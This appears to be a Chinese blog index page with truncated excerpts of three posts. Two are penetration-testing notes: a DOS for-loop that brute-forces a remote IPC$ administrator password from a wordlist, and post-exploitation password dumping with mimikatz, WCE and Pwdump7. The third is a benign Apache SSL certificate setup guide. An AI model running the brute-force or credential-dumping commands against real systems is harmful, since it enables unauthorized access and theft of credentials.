渗透环境xp
1、使用dos命令暴力破解远程ipc$主机密码
for /f %a in (e:\字典文件.txt) do net use \\对方ip地址\ipc$ %a /user:administrator
这条命令进行密码爆破吗，等到命令框显示”不允许一个用户使用一个以上用户名与服务器”[……]
后渗透之破解管理员密码
一、lc5爆破用户名密码（较老，不实用）
傻瓜式安装，然后自动得到hash
二、 抓缓存中的明文密码（mimikatz、wce、Pwdump7等）（较实用）
MIMIKATZ：
privilege::debug sekurlsa::log[......]
LAMP（Apache）环境安装SSL安全证书网站支持HTTPS
一、申请免费的SSL数字证书
我用的是西部数码的域名，就免费申请了一个一年的SSL证书
具体步骤不再叙述，注意要记住密码。申请成功后，下载相应的证书即可，我下载的是pem格式的。
二、在服务器部署证书服务
1、 安装相应的SSL模块
yum install openssl yum ins[......]